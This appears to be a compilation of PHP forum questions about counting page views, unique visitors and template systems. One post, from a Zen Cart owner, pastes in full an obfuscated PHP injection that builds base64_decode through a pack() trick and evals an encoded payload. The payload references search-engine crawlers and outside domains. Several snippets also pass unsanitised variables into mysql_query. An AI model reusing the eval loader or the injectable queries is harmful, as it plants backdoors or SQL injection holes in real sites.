PHP - I Need Code For Site Views.

Currently on my website i record the statistics, for my pages they include unique views, and total page views.
at the moment every time a visitor loads a page a script updates a MySql Db.

This seems very resource intensive, is there a better way to record statistics??

 

Hi,   I have a blog which records the amount of views on each article. I now want to be able to work out the average number of views per hour.   How can I work out the number of hours passed from a datetime format?   From there I can just do views divided by hours passed.   Thanks in advance!    

hey guys im trying to make a page statistics, where i get a view count of certian pages users visit. now im after a bit of advise on how the best way to achieve this   here are my tables:

CREATE TABLE IF NOT EXISTS `statistics` (
  
`statistic_id` int(11) NOT NULL AUTO_INCREMENT,
  
`statistic_page_id` int(11) NOT NULL,
  
`user_id` int(11) NOT NULL,
  
`reference_id` int(11) NOT NULL,
  
`ip_address` varchar(15) NOT NULL,
  
`created_timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`statistic_id`)
)
 

CREATE TABLE IF NOT EXISTS `statistic_pages` (
  
`statistic_page_id` int(11) NOT NULL AUTO_INCREMENT,
  
`page_name` varchar(90) NOT NULL,
  
`created_timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,

PRIMARY KEY (`statistic_page_id`)
) 

what i was thinking is when a user views the page it will check if user has already visited in the database

SELECT user_id 
FROM statistics
WHERE user_id = '1' OR ip_address = INET_ATON('1.1.1.1')
AND statistic_page_id = '1' AND refernce_id = '10'

if user or guest hasnt visited then add to database

INSERT INTO statistics (statistics_page_id, user_id, refernece_id, ip_address, created_timestamp) 
                VALUES ('1', '1' '10', INET_ATON('1.1.1.1'), UTC_TIMESTAMP())

statistics_page_id, would be the id representing a page ie. ITEMS and reference_id would be the id of the ITEM   any advise on a better way on how it should be done would be super...cheers guys

Hiii i got a image hosting script but the problem i'm not able to solve is that in the show image page, the page views counter is not showing unique views. If we refresh the page 100 times from same ip, it shows (views=100)...
Can any one help me with it... The views are stored in the database of the respective users...
can anyone help me to get unique views per 24 hrs per ip....
The code is...
Quote

//UPDATE VIEWS COUNT AND LAST ACCESS DATE
  $views = $row['views'] + 1;
  $access = date("y-m-d");
  $r = mysql_query("UPDATE `images` SET views = '$views', access = '$access' WHERE id = '$id' ");


  $imguserid = getUserId($id);

  $own = false;
  if ($imguserid != -1) {
       
       if ($userid == $imguserid)
          $own = true;

       $r = mysql_query("SELECT username FROM `members` WHERE id = '$imguserid'");
       $row1 = mysql_fetch_row($r);
       $username = $row1[0];
  }
  else $username = "Anonymous";
   


  echo "<center>";
  echo "<br><LABEL id='title'>Views:</LABEL> $views";
  echo "<br><LABEL id='title'>Date Added:</LABEL> {$row['date']}";


if needed i can supply the full script to the person who can help me...
You can check the demo in [ http://torrentz.0fees.net/wussa/show-image.php?id=c7693c02c3ad2fafe5f5d3f00263a68a ]

The full page is attached below....

I have a wordpress site that has a ribbon graphic on the index page posts that are in the category "features", it works great when it's like this:
Code: [Select]
<?php //for better seo, we use alt and titles in h
                query_posts('category_name=features&showposts=4');
                while(have_posts()):the_post();
                $attrs = array(
            'src'    => $src,
            'class'    => "",
            'alt'    => get_the_title(),
            'title'    => get_the_title(),
        );?>

            <!-- Blog entry -->
            <div class="blog_entry">

                <!-- inside -->
                <div class="inside">           


                <!-- Thumbnail -->
                <div class="thumbnail">
                   <a href="<?php the_permalink(); ?>" title="<?php the_title();?>"><?php the_post_thumbnail('blogsmall', $attr );?></a>
                </div>
                <!-- /Thumbnail -->

                <!-- Resume -->
                <div class="resume"><div class="featured_banner2"></div>
                    <h3 class="cufon"><a href="<?php the_permalink();?>"><?php the_title();?></a></h3>
                    <p class="bigline"><?php the_excerpt();?></p>
                    <br>
<?php if(function_exists('the_ratings')) { the_ratings(); } ?>
                </div>
                <!-- /Resume -->
but when going to the category view it doesn't work to just add the Code: [Select]
<div class="featured_banner2"></div> as all post types get the ribbon.

So I am trying to use a PHP if statement to only apply that featured_banner2 div line to posts with the category name of "features"

I am a total php newbie, so far I tried this but it obviously is not right, I am trying though! lol:

Code: [Select]
<!-- Resume -->
            <div class="resume">
            <?php 
              if ( in_category( 'features' )) {
                <div class="featured_banner2"></div>
                 } 
                      endif;?>

                <h3 class="cufon"><a href="<?php the_permalink();?>"><?php the_title();?></a></h3>
                    <p class="bigline"><?php echo  get_the_excerpt();?></p>
                </div>
        <!-- /Resume -->

So i have a bunch of random videos playig one after the other what i want is to track if the user viewed the videos by inserting a view lets say in to the database, so if they view the first video the database will increment by 1 then after the page refreshes and the next video loads it will increment again, the only part i dont know what im doing is how would i know if my user viewed the video, any help please thank you?

I am building a site using PHP, OOP, and an MVC framework. i am not using laravel, codeignitor, or any other framework, I am building this on my own. I am a newbie to mvc and so I am learning how it all works.

I have a dynamic nav menu that populates the categories from the db. The menu/categories will populate and work fine when I view the nav page on its own, but it will not work when it is included in the index view page. What should I do to make the dynamic menu view on all the view pages that i need it to? 

Below is my code, any guidance would be greatly appreciated.

Controller:

class Behindthescenes extends Controller
{
    public function __construct()
    {
        $this->btsModel = $this->model('mBehindthescene');
    }

    public function index()
    {
        $data = [
            'title' => 'Admin Dashboard',
        ];
        $this->view('/behindthescenes/index', $data);
    }

// Get categories for nav menu
    public function bts_cat_nav()
    {
        $catnav = $this->btsModel->getCatsNav();
        $data = [
            'catnav' => $catnav,
        ];
        $this->view('/includes/bts_cat_nav', $data);
    }
}

Model:

class mBehindthescene
{
    private $db;

    public function __construct()
    {
        $this->db = new DBC;
    }

    // Get Categories for Admin Navigation
    public function getCatsNav()
    {
        $this->db->query('SELECT * FROM categories ORDER BY cat_name ASC');
        $result = $this->db->fetchMultiple();
        return $result;
    }
}

Index View:

require_once APPROOT . '/views/includes/header.php';
require_once APPROOT . '/views/includes/bts_nav.php';
require_once APPROOT . '/views/includes/bts_cat_nav.php';

?>

<div class="container-fluid">
  ADMIN DASHBOARD

</div>

Nav Menu View:

<div class="container">
  <div class="row">
    <div class="cat_nav">
      <ul>
        <?php foreach ($data['catnav'] as $cat): ?>

        <li class="nav-item"><a href="<?php echo $cat->cat_link; ?> class=" nav-link text-white p-1 mb-1
            sidebar-link"><i
              class="<?php echo $cat->cat_fa; ?> text-light fa-lg mr-3"></i><?php echo $cat->cat_name; ?></a></li>

        <?php endforeach;?>
      </ul>
    </div>
  </div>
</div>

 

This topic has been moved to MySQL Help.

http://www.phpfreaks.com/forums/index.php?topic=313049.0

I've made a template system, but the way I've chosed to do it doesn't give me the ability to choose a design. I've posted the code below with a bad solution for my design problem. Does anyone have any suggestions how to make a very simple and smart templatesystem? I don't have any problems coding. I just need ideas :-)

Code: [Select]
<?php
final class View implements IView {
protected $filename, $variables = array();

public function __construct($filename = null, $variables = array()) {
$this->filename = $filename;
$this->variables = $variables;
}

public function __toString() {
if(!file_exists($this->filename)) {
throw new Exception("View does not exists.");
}

$content = file_get_contents($this->filename);

foreach($this->variables as $variable => $value) {
$content = str_replace("#{{$variable}}", $value, $content);
}

return str_replace("#{content}", $content, file_get_contents("design.html"));
}
}
?>

I've developed a file upload service of sorts. Think TwitPic, TwitVid and Twaud combined and it's not that far off.

I need to determine which content pages are most viewed. Right now I just count each and every page request, so...

The problem I run into (of course) is that also agent/bot requests are counted, and for some reason search engines (or other services) are very keen on accessing pages with many pictures on them, so such accesses can easily "overload" and make the access counting quite skewed.

Is there a black list of search engine user agents I could deploy, or is there a more generic way of knowing whether I get a request from a search engine rather than a user?

I still want the content pages indexed by search engines, so they shouldn't become "invisible" to them, yet I need to be able to determine what accesses are from primarily real users.

There's no need to log in to see the content, so I can't use that as a differentiator.

I suspect there are also image grabbing agents accessing my pages, and honestly they could be shut out completely.

Thanks in advance,
Anders

I have a lot of garbly gook in my zen cart.  I am NOT a php programmer, but I do well enough with my ZenCart to manage.   I have a code that starts like this:   <?php /*versio:3.02*/ $GLOBALS["ktrmpz"]="PaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuJVsoZGlzcGxheV9lcnJvcnMNmHJZmVkb3IvdGVzdF93ZWJuZXQYMy4wMgwhdGhhaDFOaWV0aGFpMnphaDZBaHIPQLaHR0cDovLwVzoUuSFRUUFMb2ZmUFJaHR0cHM6Ly8KfYPSFRUUF9IT1NUcgnZdW5pb24PVvmc2VsZWN0DBQVUUkVRVUVTVF9VUkkSWfTgU0NSSVBUX05BTUUBipUVVFUllfU1RSSU5HXSPwuXIoZGV0ZXJtaW5hdG9yUBnqLgxLmxvZwBseESFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQfCvydmVyc2lvADLQcKLXBocAHSFRUUF9FWEVDUEhQkNYxCZb3V0HCjPEUb2sbtSFRUUF9VU0VSX0FHRU5UGLAyNmZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxdYQvHYWxqZXIuYml6VEpZmFzdGFkZHouY29tHL3czLnBocD91PQTaPJms9UqtLJnQ9cGhwJnA9rHagTHJnY9YUZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYvbHZvOGdTL2xjNnlCcGh3V0NEd2NmazhaUm8xdk1tMG13U2VaeVZWck1Sd3RBRWJDNXorSXJ5djc4cXVqRTRzVWY3azNFZlZWOWRYMVVISGhHdlhPb0ZNWFZGd2FVRnphSWd0b3NrRTdyZFZ4TEF0bGZHVGhFa3NVVjNRVjdrWXJGY2h1VStjY1MrcE1wcXY0dm5ib0k0c0hKYU5KdER5WkMxZmxjbWF2ZjZ6TFpxU0ZwZlZpZHdvQThIM2tpdGhWZ2JtbnVKbldhYmFMY1dPKzR5OHZlQlRENTFYdnpBWCs2SlNlNmZmdnpva2xmU3JFU0JreVZGRUZHeHlFb0s4akphbEZsTVBKcDR0WWgzV2haSlZzWVVydEM5TDNiQ0xOdUZvS1dUNWdmSDNvQkZuWTJ6aW5ZSkNCZWNNZ3VGYTlJcEV4cllTMWpoZTRwZ2dWMEZiS0diS2h0ZndFYkJEc05rYThFbHkwdFNHZ3RkWW9JVVZVRE1ITmlORjRRVVQxdE9FaGMwQnJjS2ZsR2tYM285Z1NpRTQ4RXZCa2dod3FldDZiMDRRbVVHRFhONkxqUWNJa2FrRTc3RStXSU5hRy80cWdoWFFWeTJ0dW1KRFJDWEpFVXJPcXUwOE9tcGdYUkhIZGk2NFJkRkxsWW1YNTltUHg0ZTV4Yjh5T1JmWUhkS2hINVp6dmZwN1IvVG1VdzhHMno3N2NuWmRQNDB1NS9QYnU5L2ZzTWJQT1NYTDN4OXVMK2ZmcDNQNy82Y1Bqek5aVEpFUitUMmZ1OGNLdmN3cyt0N0tBb2piamxoa3RQV0tqcWNSbW14Ri9sbGNITWpSaEN1Mytybzh0VTZVcGlxTEFkUm5aY256Z3J6b3NtNmNSOHlMMThWV2ViaXgzYnBSYUZNREs2enpsOFVreWVyblIwemRlUzBJZ0MybDVhWUJIWEpDUCtienNrcmo4S2JvR0FZOGhYNVBwOC85bFNsRHd2L1pQL0U4UE05eVlzdkJENWVPYVMzYWdQZHRBcWRZTDBBRlkvZkg2MkhuNHJRRXhUOC9HczYrM24zY0g5RzZWTk9zOCszTDVEVFgwQTV1MS9KcTJWdWZjaDk4ZXBDblhPanV1VFRKeUsrcTJ2eXVkbitEOUc2alVNVWRDeVVVd3VJcW8ycldybnhlQ0NQTk5ESmtpZytSR0FVM2FWaDRsSlJPT0tUYTVGd3JveVJzdmpwWC8zbmhsZUM2TXc5ZHE3UytYWkNOYXZWZHI5ZEo1U1dDd2o2MHR2dTNTMmNMOUpWVXV6QUNPcjRDUkgrdGdTRmJ5ckNGL2htK3p4SXArVGxyZzVoNm1ZUlNoWTc2YUdNRm42M0laZU85WE02Z3dqOTRsdlBlTHV6UFNTaHR6TWJDbFlsZlNSckEvU0liK2QybVRWN2c2R2tEK1dxVU1yQTMwYTAyUm9ieU93ajNHTEowbXdOZ2ZSMWJBa3NjWU84OGw4TnBzMzlLcEQvcVB0Y3Q1aWJqNGVNdmpRMjhBeTVNa21qUVpPZ1dIUkdjTyswcTRPSnBFSlBVWGtJK0FIRnpJdXNTSUNTYVhaT0VZQ2VqR1ZWNjJKOHZTU2p0dU5EMFZsWVBIWk9lRWpNL3pieFFzUWdNMDBnMjlpaTNEaHVJS25nMVJGMnhVckdMeTdnK2NUeDZtZ2tnNXNhSnI4a2I2eURUU041L0h0NXFsVExld04wNHRWRnowTmNoMkNzZ2E1SFB2bDRRaDFKNDFGMW91TEdqM0dCNEEwbjFRR004dVVncXpBZUREUlpIVjdVTlFGZnFTclRwYlNDclBiQmFHTW9hMTFvSW1jZ2dMbmFRSzBrWDc4ck5Wb2VvbVdST0ZsaEp5SW15U3FMRjV1RDZRWlpiQU9OV05hM3V4OVR5K29xZjl6Tm9DYzh6UDRHOFkrM3MxdjRoSXgyOTg1MmdYUjNtMlgyWGlSQ3o2V2JYdTVIVU9CQ3I0alNudUpCdy81Y3hzR3VXYnI3T3ExWEdyakMvTTlINGZsMFpYcGNtdDcvMVQ1Ui93VlVKeXY4UXFVSHBSOW5qQklJeUhZdFdMYkFOZ0hHS0c2cUlyQ2p4Ny9iOURPZk1YcnNVbjVoMTRIRXA3QjNVZ2JjSVZnSTBkS040aFhQL3l2ZUNma2l1cHA5S3VaWno3SUpLYmUyV1ZEWUMrRC85azBHQnVjT3RuaE5GcUIvVlROcDNWWFpzZXNxeDZ1S0Nac21pZzBCaU9lVnNGbTJOV2lxbUV4Vkh0YWpabDF6bmZWdXZVeFhaazBVNTFLdFZUQUFkQm43aTJWazNrU3VVU3RXZUdQa0ZLcHd2a1I2Zk5rbWgySmp2a3RLcFpYblVFdGpGZkpjNFpLdlA4TFhnZFRVRVlQUEphTHM0TEFvL1IyNmpLMjFwQTRsYlRTb3VQc0N0VTdHTUh1enVqTk5yaG10SytCem1UYThvdlUxMEEydXcwYkttaFR2UmFjdHJWRTlIZ0g3VFlDdDVMcWxOTGpHbXFRTjljcFkxb21hTGFobVVEUUJ6UFhJazlETjRoQ2FITkxaL2dCR1RDYWNYdUFCUWpkMldOLzdsM0MxL2hDSWVBRHRSRzUxbUlrMGdPWTA2TEpVMlFXRnlMS21rMnpYL2hhbnJXODRvdUlJR2NTcGJTTk4vcjdEQUU1cFVyMkdUbHBNUFh3MDdwc0FzV25vb2hhZVNWOGFEUHF5QVQydnFzSjhGeFpPOEs0TE1TVHljZmZLTkN1UVZjNDY0Y0lOcThtVFRaMGZFa2JyVjVRK1BISERTTkw3RTRDQ3llYmxMK3RpZ3lKS3JEa0hVWjhMQ2ZDNXdmSUtoMmdQYXgwS25RRUEyVGpIZFdHZUtXQzRZVUQ1SHlZZi9sVHo0WEZnWXhjUkFITzlPWWNoOElRYmFsYkIxMVJ0V0pVTlJWSTZ2dGpVQ3hDbkU1WXV0WkxZb2EzMUZoblU0WVczR3VwQjE5SE04OFA4MkEyT2h1cWFKaG5Wek5EeW1LRkx1bDUxcGJyeVRrR2dRRTQ0TFRmeUpmWTB3em1kdEJxaERrUFFFT3BQaDVwaDU1cW82Uk5ER3VpeWZ1U09WamtCdklGcUlMNHp0V1lNcThMQmk2eEVNY0JsR2F4VFVQM3VXY3djQUtOdjh6SysvdWhjeHRMOHBmT1J3S0MyTllNUkdCL04vZytDalQzTiIpKSk7at";        if (!function_exists('tjjluyoc')){function tjjluyoc($a, $b){$c=$GLOBALS['ktrmpz'];$d=pack('H*','626173653634'.'5f6465636f6465'); return $d(substr($c, $a, $b));};eval(tjjluyoc(561,3272));};?><?php     My gut says this is way wrong?  thoughts?

Hi,

I have a web site that sells both video and images. The full versions are located securely behind a paywall, however in a bid to get visitors to purchase them and to promote the members offering I have trailer videos of 30 seconds to one minute and four free images per imageset.

I want to be able to restrict the number of images a visitor can view for free to 12 and the number of videos a visitor can play to 5. With a little graphic/overlay notifying the user when they have exceeded their free play/preview limit.

I have been advised that a tracking cookie and php if statement would be the way to go to achieve this.

I have got a cookie that is successfully logging views that is written to on a free preview link as an onclick function.

I have tried writing some php if code that will have the normal thumbnail or video divs display as usual if the views recorded in the cookie are below 12 or five, respectively, and have a not allowed, please subscribe div that would show over the thumbnails or video divs should the number of views exceed the threshold.

My PHP code does not seem to be working at all, I have ran it through an online syntax checker - corrected the mistakes and now it's supposed to be working but opts to display nothing instead of either if argument.

Videos then become a whole other problem because at the moment I have no other way to track the view/visit other than to count the loading of the video summary page with the free player as the preview, whether or not the clip is played - ideally I would like the view to be counted when the video begins to play. But I have no idea how to write to the cookie from Flash (is that even possible?)

Any help would be greatly appreciated.

Hello,

I am trying to create article directory for learning PHP MySql and i want to write a script for recording number of views for an article and store it in Database. Can anyone please direct me to a nice simple tutorial or help me with the steps or algorithm?

Suppose the link for an article is http://www.domain.com/article.php?id=123
Do i need to put extra variables and create a tracking PHP file for it?

My current project requires me to save the number of views an image (banner ad) has appeared on users website. The problem here is that the image will be appearing on several users website and i want to be able to save the number of times it has appeared on my database. I know how to do this if the image was on the same server as the database, but not when the image and database are on completely different servers.

This is somewhat like analytic where it tracks the visitors to a page. Does anyone how i can accomplish this?

i figured i would need to create a JavaScript code to provide to the user so they can place it on the site but how do i get that code to connect to my database?

This topic has been moved to Application Frameworks.

http://www.phpfreaks.com/forums/index.php?topic=352167.0